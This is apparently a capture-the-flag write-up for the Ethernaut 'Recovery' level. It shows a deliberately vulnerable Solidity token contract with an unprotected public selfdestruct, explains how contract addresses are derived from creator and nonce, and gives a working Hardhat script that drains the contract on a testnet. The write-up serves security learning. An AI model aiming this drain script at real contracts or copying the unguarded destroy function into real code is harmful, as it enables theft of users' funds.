Ethernaut #17 Recovery

Recovery

Challenge

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.

This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

Background

There is not much new stuff going on here. The main difficulty here is to identify the address of the SimpleToken contract that was created from the Recovery contract. This can be done manually using the block explorer.

Edit

After finishing the challenge and reading the success message I relized that I missed one step that could simplify things a bit. The address of a new contract instance can be computed using keccack256(address, nonce) where the address is the address of the contract that instiates them, and nonce is an incremental value. This is the case because the contract is created using the create opcode.

There is also another opcode, create2, which uses another way to generate the address such that it is predictable.

Attack

Going through the block explorer its easy to find the contract that was created by the Recovery contract. This contract must be a SimpleToken contract and is the one we are looking for. The next step is simply to call the destroy function with the attacker account address to get the contract funds.

Edit

Instead of doing the first two steps we could simply use keccack256(address, nonce) with the address of the Recovery contract and a nonce of 1.

recovery-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    recoveryAddress = "0x8Fa7f6be7f007F88D80cC7D95a30e53343967238";
    // contract = await ethers.getContractAt("Recovery", recoveryAddress);

    // this address was manually found using the block explorer
    // simpleTokenAddress = "0xbFB528f5Fe26E884621cfD14e3E72fEfABd1767c";

    // =================== Edit ===================
    // calculate the contract address
    simpleTokenAddress = ethers.utils.hexDataSlice(
        ethers.utils.keccak256(
            ethers.utils.RLP.encode(
                [recoveryAddress, "0x01"]
            )
        ), 12, 32)
    // ============================================

    contract = await ethers.getContractAt("SimpleToken", simpleTokenAddress);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    console.log("Level address  : " + contract.address)
    console.log("Token Name     : " + await contract.name())

    // // get current balance
    console.log("Current Balance: " + await ethers.provider.getBalance(account.address))

    // trigger selfdestruct and return funds to account.address
    tx = await contract.connect(account).destroy(account.address)
    receipt = await tx.wait()

    // get new balance
    console.log("New Balance    : " + await ethers.provider.getBalance(account.address))

}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/recovery-solve.js --network rinkeby
Level address  : 0xbFB528f5Fe26E884621cfD14e3E72fEfABd1767c
Token Name     : InitialToken
Current Balance: 137075271261352909
New Balance    : 137862327261352909

Success Message

Contract addresses are deterministic and are calculated by keccack256(address, nonce) where the address is the address of the contract (or ethereum address that created the transaction) and nonce is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).

Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.

An interesting blog post by Martin Swende details potential use cases of this.

If you’re going to implement this technique, make sure you don’t miss the nonce, or your funds will be lost forever.